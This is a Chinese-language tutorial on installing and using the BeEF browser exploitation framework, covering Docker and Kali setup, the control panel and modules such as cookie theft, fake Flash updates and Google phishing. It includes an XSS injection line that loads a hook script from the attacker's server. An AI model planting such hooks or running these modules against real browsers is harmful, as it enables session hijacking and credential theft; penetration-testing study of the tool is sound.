工具介绍

  • BeEF(Browser Exploitation Framework)是一个专门设计用于利用浏览器漏洞的工具。它的主要目的是通过 Web 浏览器与目标系统建立连接,然后利用浏览器的安全漏洞进行攻击。
  • "XSS" 代表跨站脚本攻击,而 BeEF 则是在这方面发挥较大作用的工具之一。
  • BeEF 的功能包括:
    • 浏览器指纹识别: 可以识别目标系统上正在运行的浏览器类型和版本。
    • 漏洞利用: 利用浏览器的安全漏洞,可能包括 XSS 漏洞。
    • 模块化架构: 允许用户自定义和添加模块,以执行各种攻击。
    • 实时通信: BeEF 可以与浏览器建立实时通信,使攻击者能够与受害者进行交互。

工具安装

Docker Build

  • 下载 BeEF 源码:
1
git clone https://github.com/beefproject/beef
  • BeEF 默认情况下将其凭据设置为 beef:beef ,但不允许使用默认凭据进行身份验证。因此,如果在不更改凭据的情况下构建映像,将无法验证容器的 BeEF 实例。
  • 官方说的很清楚了(淦,我排了半天错),修改 config.yaml 文件:
1
2
3
credentials:
user: '<YOUR_USERNAME>'
passwd: '<YOUR_PASSWORD>'
  • 构建镜像:
1
docker build -t beef .
1
2
3
4
5
6
7
8
9
10
11
$ docker build -t beef .
Sending build context to Docker daemon 19.95MB
Step 1/17 : FROM ruby:3.2.1-slim-bullseye AS builder
---> b9f8bf7d7eeb
Step 2/17 : COPY . /beef
---> Using cache
---> ddf36f3f9c4b
Step 3/17 : RUN echo "gem: --no-ri --no-rdoc" > /etc/gemrc && apt-get update && apt-get install -y --no-install-recommends git curl xz-utils make g++ libcurl4-openssl-dev ruby-dev libffi-dev zlib1g-dev libsqlite3-dev sqlite3 && bundle install --gemfile=/beef/Gemfile --jobs=`nproc` && rm -rf /usr/local/bundle/cache && chmod -R a+r /usr/local/bundle && rm -rf /var/lib/apt/lists/*
---> Running in bb89a023e53d
Get:1 http://deb.debian.org/debian bullseye InRelease [116 kB]
......

Docker Pull

  • 有一点很奇怪,虽然 BeEFHubDocker 上有镜像,但并没讲怎么用,反而还需要去 GitHub 上下载源码安装。
  • 所以这里我们来 pull 镜像研究研究,使用如下命令直接拉取并启动容器:

注:这里简化了一下,将其他端口去掉了,3000 端口为管理和钩子端口。

1
docker run -p 3000:3000 --name beef beefproject/beef
  • 会产生一个报错信息:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ docker run -p 3000:3000 --name beef beefproject/beef          
Unable to find image 'beefproject/beef:latest' locally
latest: Pulling from beefproject/beef
df9b9388f04a: Pull complete
837e9cfc7e43: Pull complete
c7850f1a8c23: Pull complete
a5f36e54b937: Pull complete
b17f74a51c32: Pull complete
290444b6f870: Pull complete
e71f43b679fd: Pull complete
36a6526cc553: Pull complete
119cc18ec3b0: Pull complete
Digest: sha256:d2eeff1f55819ea6ab14f3b0c678697bd0cee00d6cfc820e277b698fa0395f49
Status: Downloaded newer image for beefproject/beef:latest
[ 3:23:51][!] ERROR: Default username and password in use!
[ 3:23:51] |_ Change the beef.credentials.passwd in config.yaml
  • 经过简单的百度,可以这么解决:
1
2
3
4
$ find / -name beef_key.pem                           
/var/lib/docker/overlay2/fbfd5e7288d241345a439185c91405ea2b02687c28ef259be175e89821e2911e/diff/beef/beef_key.pem
/root/Desktop/beef/beef_key.pem
/root/.cache/vmware/drag_and_drop/plYD2k/beef/beef_key.pem
  • 这样即可找到对应的配置文件,修改 config.yaml 文件即可:
1
$ vim /var/lib/docker/overlay2/fbfd5e7288d241345a439185c91405ea2b02687c28ef259be175e89821e2911e/diff/beef/config.yaml
  • 后续再重启 Docker 即可:
1
2
$ docker start beef                                   
beef

  • 当然还有一个其他大佬做成的镜像,是可以直接使用的:
1
docker run -p 3000:3000 --name beef janes/beef

APT Install

  • 如果是在 Kali Linux 里面,安装会简单很多:
1
apt install beef-xss
  • 使用如下命令启动:
1
beef-xss

工具使用

  • 在启动 BeEF 时,终端命令行中出现以下四个重要网址,功能介绍如下:
    • Web 界面管理控制台:http://xxx.xxx.xxx.xxx:3000/ui/panel
      • 用于查看上钩的鱼儿以及对不同的目标进行管理操作
    • 钩子链接:http://xxx.xxx.xxx.xxx:3000/hook.js
      • 只要有人运行该文件,就会在管理控制台上线(上钩)。
    • 测试网址:
      • http://xxx.xxx.xxx.xxx:3000/demos/basic.html:演示使用范例
      • http://xxx.xxx.xxx.xxx:3000/demos/butcher/index.html:带有钩子的页面
  • 访问 demos/butcher/index.html 页面,测试能否上钩:

image-20231130170224851

  • 页面模块说明如下:
    • Online Browsers:在线浏览器,工具定时发送链接请求,链接成功就会显示在这里。
    • Offline Browsers:离线浏览器
    • Getting Started:入门指南,官方的一些文档
    • Logs:日志,记录工具做过哪些操作
    • Zombies:僵尸,记录可以利用的目标站点
    • Current Browser:上线的浏览器,只有在目标在线的时候才会显示出来。
      • Details:细节,展示目标的IP、版本等信息
      • Logs:日志、记录目标浏览器做过哪些操作
      • Command:指令,工具的核心,不同的指令对应不同的操作
        • Module Tree:模块树,可以使用的模块功能
        • Mpdule Result History:模块使用记录
      • Proxy:代理设置。
      • XssRays:检查页面的链接、表单和 URI 路径(浏览器挂钩的位置)是否容易受到 XSS 攻击。
      • Network:查看对方路由跳转。

常用模块介绍

注:执行操作时,心跳检测一般会停止。

  • Command 窗口,存放着一些可以执行的命令,不同颜色命令表示靶机浏览器的反应程度:
    • 绿色模块:模块可用,并且执行结果对用户不可见;
    • 橙色模块:模块可用,但结果可能对用户可见;
    • 灰色模块:模块不一定可用,没测试过;
    • 红色模块:模块不可用。
  • Module Tree 常用分类:
    • Browser:浏览器
      • Get Cookie:获取 Cookie 信息
      • Unhook:脱离控制,脱钩
      • Create Alert Dialog:创建报警对话框
      • Create Prompt Dialog:创建提示对话框
      • Detect Popup Blocker:检测弹出窗口阻止程序
      • Redirect Browser:浏览器重定向
    • Social Engineering:社会工程
      • Fake Flash Update:虚假 Flash 更新
      • Fake Notification Bar:虚假通知栏
      • Google PhishingGoogle 网络钓鱼
      • Pretty Theft:漂亮的盗窃
  • 先定义一个插入语句:
1
<script src="http://xxx.xxx.xxx.xxx:3000/hook.js"></script>

Browser

  • 获取对方浏览器 Cookie 信息:

image-20231130181148412

Unhook

  • 取消 BeEF 连接:

image-202311301834348051

  • 可以看到对方存活判断报文已停止,主机处以离线状态:

image-20231130183410840

Create Alert Dialog

  • 创建报警对话框:

image-20231130183900077

  • 查看现象:

image-20231130183908647

Create Prompt Dialog

  • 创建提示对话框:

image-20231130184212059

  • 查看现象:

image-20231130184240517

image-202311301842520841

Detect Popup Blocker

  • 检测弹出窗口阻止程序:

image-20231130184444332

Redirect Browser

  • 浏览器重定向:

image-20231130184530251

Social Engineering

Fake Flash Update

  • 虚假 Flash 更新,更像是强制弹窗:

image-20231130185639720

  • 查看现象:

image-20231130185713315

Fake Notification Bar

  • 虚假通知栏:

image-20231130185752860

  • 查看现象:

image-20231130185817151

Google Phishing

  • Google 网络钓鱼:

image-20231130185917086

  • 查看现象:

image-20231130185926138

Pretty Theft

  • 漂亮的盗窃:

image-20231130190014039

  • 查看现象:

image-20231130190030171